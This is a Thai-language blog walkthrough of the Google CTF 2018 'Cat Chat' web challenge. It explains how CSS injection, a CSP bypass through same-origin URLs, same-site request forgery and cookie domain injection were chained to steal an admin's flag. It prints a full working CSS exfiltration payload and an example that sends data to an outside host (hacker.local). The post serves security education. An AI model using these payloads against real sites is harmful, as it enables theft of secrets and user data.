เฉลยจากแข่งแฮก Google CTF 2018

Pichaya Morimoto
8 min readJun 24, 2018

--

เหมือนเดิม coop กับ #pwnleakteam นำโดยน้อง Pongsakorn Sommalai (Bongtrop) ใครมีอะไรสงสัยก็ไปถาม bongtrop ได้เลย (รับแอดเฟสเฉพาะผญ)

เกริ่นคร่าว ๆ งานนี้เป็นงานจัดแข่งแฮก CTF style โดย Google นั้นเองจัดมาหลายปีละ หลาย ๆ ข้อก็จะเกี่ยวกับเทคโนโลยีของ Google บ้างอย่าง Android, Firebase, Angular, GCP ฯลฯ โจทย์มี 5 หมวด Crypto, Misc, Pwn, Re และ Web ส่วนในบล็อคนี้ผมก็จะมาอธิบายโจทย์ข้อเว็บละกัน เพราะมันสนุกดี 55

Google CTF 2018

Cat Chat

โจทย์ให้มาดังนี้ “ You discover this cat enthusiast chat app, but the annoying thing about it is that you’re always banned when you start talking about dogs. Maybe if you would somehow get to know the admin’s password, you could fix that.” สรุปคือมันเป็นเว็บแอป chat ที่เราเข้าไปจะได้ห้อง chat สุ่ม ID ของตัวเองละส่ง URL ไปให้คนอื่น join มาคุยกันได้ แต่ในห้อง chat นี้ห้ามพิมพ์คำว่า “dog” ถ้าแอดมินเห็นจะโดนแบน โดยเราสามารถ พิมพ์ /report เรียกแอดมินเข้ามาในห้อง จะเข้ามาประมาณ 10 วินาที (แน่นอนว่าเป็น bot ไม่ใช่คนจริง ๆ เดาว่าใช้ selenium)

ซึ่งในห้องก็จะมีคำสั่ง 2 อย่างที่บอกมาคือ /name <ชื่อใหม่> กับ /report แจ้งแอดมิน เข้ามาดูคนพูดเรื่องหมา … ห้องนี้ให้คุยแต่เรื่องแมว ๆ ! นอกจากนั้นโจทย์ก็ให้โค้ดฝั่ง server side มาให้ด้วยดังนี้ (ขอให้ผู้อ่านสนุกกับโค้ด ดังต่อไปนี้ ^-^)

แล้วก็ให้โค้ดฝั่ง client-side ที่ดูได้อยู่แล้ว HTML/JS มาดังนี้

ถ้าใครเทพมองปร๊าดเดียวก็รู้เรื่องแล้วข้อนี้ก็งั้น ๆ เป็นช่องโหว่ client side ธรรมดาวิเคราะห์จากไฟล์ catchat.js จะเห็นว่ามีการ sanitize ค่า < > “ ‘ ใน DOM ด้วยฟังก์ชัน esc เพื่อป้องกันช่องโหว่แนว ๆ Cross-site scripting

let esc = (str) => str.replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&apos;');

เลื่อนดูก็มี ฟังก์ชันชื่อ display() เอาไว้แสดงผลในช่อง chat โดยใช้ฟังก์ชัน insertAdjacentHTML() เป็นการต่อ HTML คล้าย ๆ ท่า InnerHTML() ถ้าใครแฮกบ่อย ๆ ก็จะรู้ว่ามันเกิด DOM-based XSS ได้ใน doc ก็มีเตือนไว้ว่าให้ระวังการใช้เพราะ by design ถ้ารับ user input มาเป็น HTML tag คือมีโอกาสโดนสอย

let display = (line) => conversation.insertAdjacentHTML('beforeend', `<p>${line}</p>`);

ทีนี้ก็ไล่ดูว่าตรงไหนที่ไม่ได้เอาฟังก์ชัน esc() ไปใช้ตอน output ด้วย display() บ้างแล้วค่อยหาว่า เราสามารถ source เข้าไปให้มัน sink ตรงนั้นได้รึเปล่า

let you = (data.name == localStorage.name) ? ' (you)' : '';
...
display(`<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>`);

จะเห็นว่าจุดที่ไม่ได้ sanitize มีแค่ตรง ${you} แต่ว่าตรงนี้แฮกเกอร์ดันคุมค่าไม่ได้ สรุปก็คือจบ ปิดคอม แยกย้ายกลับบ้านนอน แฮกไม่ได้ เขียนโค้ดมาปลอดภัย sanitize ค่าจาก user input ป้องกัน DOM-based XSS เรียบร้อยหมดแล้วทีม pentest ไก่ส่ง report เปล่า…

ซะที่ไหน ถ้าใครตาดีบวกกับมองลึก ๆ หน่อยมองไปจะเจอบรรทัดนี้น่าสนใจกว่าตรงจุดอื่น

if (data.name == localStorage.name) {
...
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);

ให้เวลาคิด 20 วินาทีว่า น่าสนใจยังไง แฮกยังไง ติ๊กต๊อก ๆ

..

..

..

..

ตรงนี้ ค่า data.name ดึงมาจาก local storage ใน browser ซึ่งถ้าอ่านโค้ดดูจะรู้ว่ามันสุ่มให้ตอนเข้ามาและเราเปลี่ยนเองได้ผ่าน /name แปลว่าเป็นค่าที่ แฮกเกอร์คุมได้ แต่ว่าค่านี้ดันโดน sanitize ให้ห้ามใช้ < > “ ‘ แปลว่าถ้าเราจะพิมพ์ อะไรเช่น

</style><script>alert("1")</script>

อะไรแบบนี้ไม่ได้ XSS เพราะ ค่าโดนคลุมไว้ด้วย esc() อีกที มันจะกลายเป็น

&lt;/style&gt;&lt;script&gt;alert(&quot;1&quot;)&lt;/script&gt;

แต่สิ่งที่น่าสนใจ ก็คือออ ใน context นี้ต่อให้เราใส่คำสั่ง JavaScript ไม่ได้ เราก็ยังสามารถใส่คำสั่ง CSS เข้าไปได้

คำถามก็คือ.. แล้วการที่แฮกเกอร์ใส่ CSS เข้าไปได้ จะทำให้โดนแฮกได้ยังไง?

จริง ๆ ใน CSS จะมีเทคนิคนึง ที่สามารถใช้ขโมยข้อมูลบน DOM ได้ในรูปแบบ side-channel attack คือสมมุติมีรหัสผ่าน 1234 อยู่บนหน้าเว็บ ถ้าโจมตีด้วย XSS สามารถอ่านรหัสผ่าน ดึงกลับไปได้เลย แต่ CSS ไม่สามารถใช้อ่านค่าและดึงกลับไปตรง ๆ ได้ แต่สามารถดึงด้วยข้อมูลจาก factor อื่น ที่เราได้มาอย่างอ้อม ๆ ได้ ไอ่วิธีแบบอ้อม ๆ นี้เราเรียกกันว่า side-channel attack (เช่นการใช้ไมค์ความถี่สูงฟังเสียง CPU ทำงานเพื่อขโมยรหัสผ่าน แทนที่จะเอาข้อความเข้ารหัสไปถอดตรง ๆ)

หลักการคือใน CSS เราสามารถใช้ selector กระโดดไปชี้ HTML tag กับ attribute ต่าง ๆ ได้ บวกกับเราสามารถกำหนดได้ว่าถ้า selector ที่เราชี้ไป tag ใด ๆ แล้วเจอให้เราทำอะไรต่อ ตัวอย่างเช่น

<div id="name"></div>
<style type="text/css">
#name{
background-image: url("http://localhost:1234/catbg.jpg");
}
</style>

แปลว่าถ้า CSS ไปหา tag ที่มี id ชื่อ name เจอ ค่า CSS ที่เราระบุไว้ก็จะทำงาน ในทีนี้คือให้เปลี่ยนรูปพื้นหลังเป็น catbg.jpg จากเว็บ localhost:1234

ห๊ะ! แล้วมันอันตรายยังไงเนี่ย เปลี่ยนรูปพื้นหลังเป็นแมว?

มันอันตรายได้ก็คือถ้าแฮกเกอร์สามารถคุม CSS ที่ใส่เข้าไปในเว็บได้แล้วแฮกเกอร์สามารถใส่ CSS หน้าตาแบบนี้

ก็คือบอกว่าให้ selector ไปหา tag input ที่มี attribute name เป็น passwd แล้วเช็คว่ามีค่าขึ้นต้นด้วย a, b, c, d … ไปเรื่อย ๆ รึเปล่าซึ่งค่า value ของ selector ตรงนี้คือค่าที่ต้องการจะขโมย ตัวอย่างง่าย ๆ เช่นช่องกรอกเลขบัตรเครดิตในเว็บขายของออนไลน์ จากนั้นถ้าเจอแล้วว่าตัวแรกของค่าที่อยากได้เป็นตัวอะไร ก็ให้ใส่ background เป็นรูปโดยดึงมาจากเว็บที่ URL ส่งสัญญาณสื่อว่า ค่าที่หาเจอนั้นเป็นค่าอะไร ในตัวอย่างนี้ค่า passwd เป็น s3cr3t ตัวแรกเป็น ตัว s ดังนั้น CSS selector ที่เช็คว่าตัวแรกเป็น a,b,c.. ก็จะไม่ match จนลงมาถึง s เจอเลยขึ้นต้นด้วย s ก็ set รูป background จาก URL ของเว็บแฮกเกอร์ จากนั้นแฮกเกอร์ก็เขียนสคริปท์ดึงข้อมูลที่ส่งมา ก็จะได้เลขบัตรเครดิต เลขแรก แล้วก็ใส่ CSS ด้วย concept นี้เข้าไปเยอะ ๆ ให้ match sa,sb,sc,… ครบทุก case สุดท้ายก็จะสามารถดึงเลขบัตรเครดิตทุกตัวออกมาจาก form หน้าเว็บในเวลาไม่กี่วินาทีได้ (โค้ดเต็ม ๆ ยาวแต่ทำงานจริงก็เร็วมาก ๆ ดูอย่างหน้า Facebook/Gmail เราเปิดปุ้บขึ้นปั้บแต่จริง ๆ ข้างหลังโค้ดเยอะกว่านี้เยอะมากเป็นต้น)

ถ้าเราเข้าใจเทคนิคการขโมยข้อมูลด้วย CSS นี้แล้วจากนั้นก็กลับไปวิเคราะห์โค้ดอีกรอบ

if (data.name == localStorage.name) {
...
display(`${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>`);

จะเห็นว่า เราสามารถ inject ค่า CSS เข้าไปผ่านการตั้งชื่อด้วยคำสั่ง /name โดยชื่อที่เป็น CSS นั้นจะไม่ใช้ < > “ ‘ เลยก็ได้เช่น ถ้า data.name เป็น

aaa]{color: red;background-image: url(http://hacker.local/ez);}span[data-name^=x

เมื่อโค้ดบรรทัดนั้นโดน evaluate บน DOM ก็จะได้ค่าเป็น

display(`<ขอละไว้จะได้ไม่สับสนมันเป็น string data.name เฉย ๆ ตรงนี้>} was banned.<style>span[data-name^=aaa]{color: red;background-image: url(http://hacker.local/ez);}span[data-name^=x] { color: red; }</style>`);

ทำให้อ่านง่าย ๆ หน่อยก็จะได้ CSS เป็นแบบนี้

span[data-name^=aaa]{
color: red;
background-image: url(
http://hacker.local/ez);
}
span[data-name^=x
] {
color: red;
}

ปัญหาถัดมาก็คือ ถ้าสังเกตจากโค้ด server.js ดี ๆ การป้องกันไม่ได้มีแค่ esc() ค่าทุกค่า แต่ยังมีการทำ hardening ด้วย Content-Security-Policy (CSP)

headers: {
'Content-Security-Policy': [
'default-src \'self\'',
'style-src \'unsafe-inline\' \'self\'',
'script-src \'self\' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/',
'frame-src \'self\' https://www.google.com/recaptcha/',

ซึ่ง CSP เป็นเรื่องที่ผมอยากเล่ามาก-ก เพราะคนรู้เรื่องนี้น้อยมากในประเทศไทย คุยกับ security 10 คน ไม่รู้จักกันซะ 12 คนอีกหลายคน เคยได้ยินชื่อแต่อธิบายไม่ได้ว่ามันคืออะไรรู้แค่ดีมั่งใส่ ๆ ไป เคยไปทำ poll ในกลุ่ม thaiadmin เล่น ๆ มีคนมาตอบอย่างเท่ก๊อปมาให้ดูว่าใช้ CSP แต่ไม่รู้ตัวเลยว่าใช้ผิด ใช้แบบมีค่าไม่ต่างจากไม่ได้ใช้ สาเหตุปัญหานี้ เพราะ CSP ต่างจาก security header ตัวอื่นตรงที่ไม่ใช่แค่ก๊อปจาก stackoverflow.com มาแปะเหมือนที่คนส่วนมากทำกัน ละจะใช้งานได้ แต่มันต้อง design แอปมาตั้งแต่ต้นว่าจะใช้กับ CSP ที่ปลอดภัยที่สุดได้แบบไหน และ op ทำความเข้าใจกับ dev ฝั่ง frontend ทุกคน ซึ่งถ้ามาทำ security ตอนจบ โอกาสได้ใช้ CSP แบบเต็มที่น้อยมาก ๆ ถัาไม่รื้อโค้ดกันยกใหญ่… จบการบ่นมาต่อ 55

ปัญหาก็คือว่าในกรณีนี้เราไม่สามารถใช้เทคนิค CSS ที่ว่าขโมยค่าโดยการ side-channel ยิงไปยังเครื่องเซิร์ฟเวอร์แฮกเกอร์จริง ๆ ใน URL รูปได้ เนื่องเว็บใช้ CSP ค่า directive นึงคือ

default-src 'self'

หมายความว่าค่าจาก attribute src ทั้งหลายรวมถึง URL ใน CSS นั้นจะต้องมาจาก origin เดียวกัน (self) เท่านั้น ดังนั้นการยิงไปเซิร์ฟเวอร์แฮกเกอร์ด้วย src อื่นเพื่อขโมยค่าเนี่ยทำไม่ได้.. เอ๊า ทำไม่ได้ก็จบดิ ปิดคอมนอน..

แต่ถ้ายังไม่ง่วง กลับมาอ่านโค้ดด้วยความสงสัย 55 และใช้ความคิดสร้างสรรค์นิดหน่อย จะพบว่า ต่อให้เราส่งค่าที่อยากขโมยบนเว็บกลับมาตรง ๆ ผ่าน URL ไม่ได้ เราสามารถทำอ้อม ๆ ได้อีกนะ เรียกได้ว่าเป็น side-channel attack ที่ซ้อน side-channel attack เข้าไปอีก เพราะว่าในแอป chat เนี่ย มันมีส่วนของ Web API ที่ใช้เวลา รับ-ส่ง ข้อความกัน คือ /send กับ /receive ซึ่งเราสามารถใช้เทคนิคการแฮกผู้ใช้งานเว็บที่มีชื่อเรียกว่า CSRF (ผมเคยอธิบายวิธีการแฮกช่องโหว่นี้บนยูทูปเมื่อปี 2014 ใครไม่รู้จัก CSRF ตามไปดูกันได้ ตอนนั้นยังเป็นเด็กน้อยพูดผิด ๆ ถูก ๆ… บางคนก็บอกว่าตอนนี้ก็ยังเหมือนเดิม 55) สรุปง่าย ๆ CSRF ทำให้ผู้ใช้งานเว็บที่เป็นเหยื่อไปทำ action อะไรบางอย่างได้ ในกรณี scenario นี้เราจะออกแบบการโจมตีดังนี้

เราใช้ CSS selector ให้แอดมินที่เป็นเหยื่อชี้ไปอ่านค่าที่เราต้องการ โดยเช็คทีละตัว ถ้ามันเป็นตัวอะไรสักตัวเช่นตัว a เราจะทำ CSRF ใส่ แอดมินให้ส่งตัวอักษรนั้นกลับมาหาเราในช่อง chat !

จริง ๆ จะพูดว่ามันคือ CSRF ก็ไม่เชิง เพราะตามนิยาม CSRF ย่อมาจาก Cross-site request forgery รีเศวสของเหยื่อถูกส่งมาจากการที่เข้าไปเว็บของแฮกเกอร์ ดังคำว่า cross-site มันคนละ site คนละเว็บกัน แต่ในเคสนี้มันเว็บเดียวกัน จะเรียกว่า Same-site request forgery หรือคิดง่าย ๆ ว่ามันเป็น XSS ก็ได้มั่ง 555 เพราะตัวโค้ดฝั่ง server-side เองก็มีการป้องกัน CSRF โดยการเช็ค Referer ว่ามาจาก host เดียวกันรึเปล่าด้วย ซึ่งเอาจริง ๆ ถ้าเช็คถูก (อันในโจทย์นี้เช็คผิดด้วยไปเดากันเองว่าผิดยังไง) ก็เป็นวิธีที่ได้ผลดีในการป้องกัน cross-site request เพราะยังไง auto-GET/POST/AJAX ข้าม site นี่ browser ก็ต้องส่ง Referer แน่ ๆ ยกเว้นจะเจอช่องโหว่ใน browser 55 แต่ในเคสนี้กันไม่ได้เนาะ มัน same-site :P

if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith(req.headers.host)) {
response = {type: "error", error: 'CSRF protection error'};

วิธีการก็คือเราสามารถใช้ CSS ทำ CSRF ที่เป็น HTTP GET แบบนี้ได้

background-image: url(/send?name=admin&msg=a);

พอ CSS ถูกทำงานบน context ของ browser เหยื่อ (แอดมิน) ตัวรีเศวสก็จะถูกส่งไป โดยอัตโนมัติ ทำให้แอดมินโดนบังคับให้ส่งคำว่า a ไป ถ้า CSS Selector นั้น match ว่าแต่เอ๊ะ เดี๋ยว ๆ แล้วมันจะไม่ติด CSP เหรอ? คำตอบคือไม่ติดครับ เพราะว่า origin ที่ใช้ส่งเป็นเว็บเดียวกันนั้นเองทำให้ default-src ‘self’ ไม่สามารถป้องกัน การส่งรีเศวสนี้ได้นาจา มันก็จะซับซ้อนหน่อย ๆ

ต่อ ๆ อย่างที่บอกคือเราสามารถ /report เรียกแอดมินมาเข้าห้อง chat เราได้ 10 วินาที เมื่อเราเรียกแอดมินมาเข้าปุ้บ เราก็ทำ CSS injection ใส่ โดยการพิมพ์คำว่า dog ให้ user ของเราที่ชื่อมี CSS โดนแบนจะได้เรียกฟังก์ชัน display() ที่ inject CSS เข้าไปใน DOM และ CSS นี้จะไปโผล่บนหน้าจอของแอดมินด้วยทำให้ แฮกเกอร์สามารถคุม CSS บนหน้าเว็บที่แอดมินเปิดอยู่ได้นั้นเอง ปัญหาถัดมาคืออะไร ที่เราอยากจะขโมยมาจากแอดมิน? อ่านโค้ดดูเราจะพบว่าแอดมินจะมีคำสั่ง /secret

// ใน html
Admin commands:
- `/secret asdfg` - Sets the admin password to be sent to the server with each command for authentication. It's enough to set it once a year, so no need to issue a /secret command every time you open a chat room.
// ใน client-side JS
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },
// ใน server-side JS
case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
response = {type: 'secret'};

การแข่งนี้ชื่อว่า capture the flag เป้าหมายเราคือแฮกขโมย flag ออกมา.. จะเห็นว่าใน client-side JS มีโอกาสที่ flag ที่ดึงมาจาก cookie จะไปแสดงอยู่ในห้อง chat เป็น HTML ซะด้วย ถ้าเอา CSS selector ค่ามาทีละตัวได้เบย (ขยายความ: คนที่มี flag ใน cookie คือแอดมินและโค้ดนี้จะทำให้ flag ไปโผล่เฉพาะในหน้าต่าง chat ที่แอดมินเห็นคนเดียวเท่านั้น)

<span data-secret="สมมุติว่าเป็นflagจะอยู่ตรงนี้">*****</span>

แต่ปัญหาที่ต้องคิดกันคือ โดย ตั้งแต่เริ่ม แล้วเว็บมันจะไม่แสดง span นี้และมันจะแสดงก็ต่อเมื่อมีการเปลี่ยนค่าเป็นค่าอื่นแล้วโดยใช้ /secret <ใส่ค่าใหม่> แปลว่าต่อให้เราขโมยได้มาจาก span นั้นเราก็จะได้ค่าที่มันเปลี่ยนไปแล้ว (เพราะมันถึงเอาค่าใหม่มาโชว์ถึงมี span แล้วเราจะขโมยค่าโดยเอา CSS มา select ได้ก็ต้องมี span นี้มัน deadlock ชัด ๆ) ไม่ใช่ค่า original ที่มีอยู่เดิมใน cookie !! ร้องไห้ ปิดเว็บ กลับบ้านนอน..

ยัง ๆ ถ้าเราสังเกตโค้ดฝั่ง server-side JS ดี ๆ เราจะเห็นช่องโหว่บางอย่าง

if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');

เห็นปะ มีการใช้ regex ดึงค่าหลัง /secret ซึ่งคือ ค่าใหม่ของ flag มาเป็น arg[1] แล้วเอามา replace เปลี่ยนแทนค่า cookie ของ flag เดิมที่เราอยากได้ แล้วจากนั้น client-side JS ถึงจะเอาค่าใหม่มาแสดง… ในมุมมอง ผมแล้วทีแรกตรงนี้มีโอกาสมีช่องโหว่นึงชื่อว่า HTTP response splitting แต่ลองแล้วไม่ได้ ตัว Node.JS ป้องกันไว้ดี แต่.. ด้วยความคิดสร้างสรรค์หน่อย ๆ เราสามารถทำให้ แอดมิน set ค่า cookie flag นี้โดยไม่ไปทับค่าเดิม และยังใช้ client-side JS ไปดึงค่า original กลับมาไว้บน ห้อง chat ของแอดมินได้โดยไม่ต้องทำ CRLF injection นาจา วิธีการคือถ้าเราทำ CSRF ด้วยท่า CSS injection ข้างบนให้แอดมินส่งข้อความ /secret ไปตั้งค่า flag ใหม่โดยใช้ค่า secret เป็นแบบนี้…

1; domain=xxx.web.ctfcompetition.com

จะเรียกว่าท่านี้คือ cookie injection ก็ไม่ผิดนักตอนมันเอาไปใช้แล้ว return กลับมาใน HTTP response จะได้เป็น

Set-Cookie: flag=1; domain=xxx.web.ctfcompetition.com; Path=/; Max-Age=31536000

ส่งผลทำให้แอดมินที่มีค่า flag ใน cookie บนหน้า chat นั้น ทำการตั้งค่า cookie flag=1 แต่ไปตั้งใน sub-domain อะไรก็ไม่รู้ xxx แทนที่จะไปตั้งในเว็บที่เข้าอยู่จริง ๆ ทำให้ค่า flag ของ cookie เดิมที่เป็นของ origin https://cat-chat.web.ctfcompetition.com ยังอยู่ไม่ถูกทับไป 555+ จากนั้นพอ client-side JS ดึงค่า flag จาก cookie มาแสดงบนหน้าเว็บก็จะดึงค่า original มาเพราะเวลาเรียก cookie(‘flag’) ซึ่งข้างหลังมันเรียก document.cookie จะได้ค่าจาก origin เดียวกันไม่ใช่อัน sub-domain ที่เราเอา flag มั่วจาก CSRF ไปโยนทิ้งไว้

let cookie = (name) => (document.cookie.match(new RegExp(`(?:^|; )${name}=(.*?)(?:$|;)`)) || [])[1];
...
secret(data) { display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`); },

ไม่รู้จะมีใครอ่านมาถึงตรงนี้รึเปล่า ถ้ามีสรุป recap คือเราได้พูดถึงเทคนิคการแฮกในโจทย์ข้อนี้ดังนี้

  1. Bypass XSS sanitization โดยทำ CSS injection แทน
  2. Bypass CSP โดยใช้ src (ของ CSS) จากเว็บเดียวกัน
  3. Bypass Anti-CSRF โดยการใช้ same-site request แทน
  4. Bypass การป้องกันการขโมย cookie อันเก่าด้วยการทำ cookie cross-domain injection (ตั้งชื่อเอง ไม่รู้มีป่าว)

จบภาคทฤษฎี เรามาดูภาคปฏิบัติกันดีกว่าก่อนที่จะล่องลอยไปมากกว่านี้

สเตปแรกเราเปิดห้อง chat ขึ้นมาแล้วก๊อป URL ไปอีก browser (หรือ incognito mode ก็ได้ให้มันคนละ local storage context กัน)

จากนั้นเรา gen payload ของ CSS injection จากโค้ด python นี้

เอาไปตั้งเป็นชื่อของ browser ทางขวา ง่าย ๆ เอา output ไป paste

/name xx]{color:red;}span[data-secret]{background:url(send?name=admin&msg=/secret 1;Path=/; domain=xx.web.ctfcompetition.com);}span[data-secret^=a]{background: url(send?name=admin&msg=a);}span[data-secret^=b]{background: url(send?name=admin&msg=b);}span[data-secret^=c]{background: url(send?name=admin&msg=c);}span[data-secret^=d]{background: url(send?name=admin&msg=d);}span[data-secret^=e]{background: url(send?name=admin&msg=e);}span[data-secret^=f]{background: url(send?name=admin&msg=f);}span[data-secret^=g]{background: url(send?name=admin&msg=g);}span[data-secret^=h]{background: url(send?name=admin&msg=h);}span[data-secret^=i]{background: url(send?name=admin&msg=i);}span[data-secret^=j]{background: url(send?name=admin&msg=j);}span[data-secret^=k]{background: url(send?name=admin&msg=k);}span[data-secret^=l]{background: url(send?name=admin&msg=l);}span[data-secret^=m]{background: url(send?name=admin&msg=m);}span[data-secret^=n]{background: url(send?name=admin&msg=n);}span[data-secret^=o]{background: url(send?name=admin&msg=o);}span[data-secret^=p]{background: url(send?name=admin&msg=p);}span[data-secret^=q]{background: url(send?name=admin&msg=q);}span[data-secret^=r]{background: url(send?name=admin&msg=r);}span[data-secret^=s]{background: url(send?name=admin&msg=s);}span[data-secret^=t]{background: url(send?name=admin&msg=t);}span[data-secret^=u]{background: url(send?name=admin&msg=u);}span[data-secret^=v]{background: url(send?name=admin&msg=v);}span[data-secret^=w]{background: url(send?name=admin&msg=w);}span[data-secret^=x]{background: url(send?name=admin&msg=x);}span[data-secret^=y]{background: url(send?name=admin&msg=y);}span[data-secret^=z]{background: url(send?name=admin&msg=z);}span[data-secret^=A]{background: url(send?name=admin&msg=A);}span[data-secret^=B]{background: url(send?name=admin&msg=B);}span[data-secret^=C]{background: url(send?name=admin&msg=C);}span[data-secret^=D]{background: url(send?name=admin&msg=D);}span[data-secret^=E]{background: url(send?name=admin&msg=E);}span[data-secret^=F]{background: url(send?name=admin&msg=F);}span[data-secret^=G]{background: url(send?name=admin&msg=G);}span[data-secret^=H]{background: url(send?name=admin&msg=H);}span[data-secret^=I]{background: url(send?name=admin&msg=I);}span[data-secret^=J]{background: url(send?name=admin&msg=J);}span[data-secret^=K]{background: url(send?name=admin&msg=K);}span[data-secret^=L]{background: url(send?name=admin&msg=L);}span[data-secret^=M]{background: url(send?name=admin&msg=M);}span[data-secret^=N]{background: url(send?name=admin&msg=N);}span[data-secret^=O]{background: url(send?name=admin&msg=O);}span[data-secret^=P]{background: url(send?name=admin&msg=P);}span[data-secret^=Q]{background: url(send?name=admin&msg=Q);}span[data-secret^=R]{background: url(send?name=admin&msg=R);}span[data-secret^=S]{background: url(send?name=admin&msg=S);}span[data-secret^=T]{background: url(send?name=admin&msg=T);}span[data-secret^=U]{background: url(send?name=admin&msg=U);}span[data-secret^=V]{background: url(send?name=admin&msg=V);}span[data-secret^=W]{background: url(send?name=admin&msg=W);}span[data-secret^=X]{background: url(send?name=admin&msg=X);}span[data-secret^=Y]{background: url(send?name=admin&msg=Y);}span[data-secret^=Z]{background: url(send?name=admin&msg=Z);}span[data-secret^=0]{background: url(send?name=admin&msg=0);}span[data-secret^=1]{background: url(send?name=admin&msg=1);}span[data-secret^=2]{background: url(send?name=admin&msg=2);}span[data-secret^=3]{background: url(send?name=admin&msg=3);}span[data-secret^=4]{background: url(send?name=admin&msg=4);}span[data-secret^=5]{background: url(send?name=admin&msg=5);}span[data-secret^=6]{background: url(send?name=admin&msg=6);}span[data-secret^=7]{background: url(send?name=admin&msg=7);}span[data-secret^=8]{background: url(send?name=admin&msg=8);}span[data-secret^=9]{background: url(send?name=admin&msg=9);}span[data-secret^=_]{background: url(send?name=admin&msg=_);}span[data-secret^=\}]{background: url(send?name=admin&msg=\});}span[data-secret^=\{]{background: url(send?name=admin&msg=\{);}span[data-name^=xx

จากนั้นสลับไป browser ทางซ้ายพิมพ์ /report เพื่อให้แอดมินเข้ามาในห้อง

แล้วก็สลับไป browser ทางขวาพิมพ์อะไรก็ได้ที่มีคำว่า dog จะทำให้แอดมินแบน user ใน browser ทางขวา พอ user ถูกแบนปุ๊บ ฟังก์ชัน display() ก็จะดึงชื่อที่มี CSS นั้นไป broadcast ให้ทุกคน (เพื่อบอกว่า user นั้นโดนแบน) ในห้อง chat รวมถึงแอดมินจะเห็นด้วย สิ่งที่ CSS payload ทำคือ

1.เริ่มจากทำ cookie injection ก่อนให้ span[data-secret] มาโผล่ในห้อง chat แอดมินพร้อมทั้งค่า flag ที่ดึงมาจาก cookie ของจริง original

2. ทำ side-channel attack ด้วย CSS selector โดยเช็คทีละตัวเริ่มจากตัวแรก

3. พอรู้ว่าตัวแรกเป็นอะไรก็ให้ทำ CSRF ให้แอดมิน /send ส่งตัวที่เจอกลับมาที่ห้อง chat (คนที่จะเห็น CSS injection คือทุกคนในห้อง แต่คนที่จะพ่นค่าออกมามีแต่แอดมินเพราะคนอื่นไม่มี cookie flag ต่อให้ span โผล่ขึ้นมาก็เป็นค่าโล่ง ๆ ไม่ match) ด้วย background:url()

4. พอได้ตัวแรกปุ๊บก็วนลูปทำซ้ำ gen ใหม่ตัวที่ถัดไปโดยใช้ regex ง่าย ๆ เติม prefix ไปสมมุติ flag เป็น abc เราก็หาตัวแรกด้วย ^= เจอก็ใส่ตัวแรกนั้นไปเป็น ^=a ต่อไปหาเจออีก็เติมไปอีก ใส่ ^=ab จนตัวสุดท้ายได้ว่าเป็น abc

ทำไปเรื่อย ๆ จนครบทุกตัวสุดท้ายแล้ว เราก็ chain ทุกช่องโหว่ ทุกเทคนิครวมกันทำให้เราขโมย ข้อมูล (=flag) บนหน้าเว็บ browser ที่แอดมินเปิดอยู่ได้ จอบออ

เพิ่มเติมที่ไม่ได้พูดถึงคือ..
1. ตัวเว็บมีการใช้ long-pulling request ตอน /receive ทำให้ถ้าใครใช้ intercepted proxy (BurpSuite/OWASP ZAP) มาวิเคราะห์ดูจะทำให้เว็บใช้งานไม่ได้ เพราะ proxy ต้อง close connection เพื่อดึงค่ามาโชว์แต่เว็บต้อง long pulling เพื่ออัพเดทข้อความในห้อง chat ใหม่แบบ real-time เป็นวิธีใจร้ายต่อแฮกเกอร์มากใช้ burp วิเคราะห์ไม่ได้ 55

2.ในขั้นตอน /report จริง ๆ ใน API มีการใช้ Google reCAPTCHA แบบออโต้เติม token ต่อท้าย user ไม่ต้องกรอกอะไร แต่ทำให้ไม่สามารถ automate ครบ loop ทั้ง process ด้วยการเขียน script ได้

ถ้าใครอ่านจบกด แชร์ ด้วย ๆๆ จะได้มีบทความ advanced web hacking ภาษาไทยที่หาอ่านเนื้อหาแบบนี้ได้ที่เดียวววจริงจริ๊ง โผล่มาให้อ่านกันอีกนาจา ❤

ลิ้งเพิ่มเติมเกี่ยวกับเทคนิค CSS injection เพื่อขโมยข้อมูลบนเว็บ
https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)
https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense
https://github.com/maxchehab/CSS-Keylogging

--

--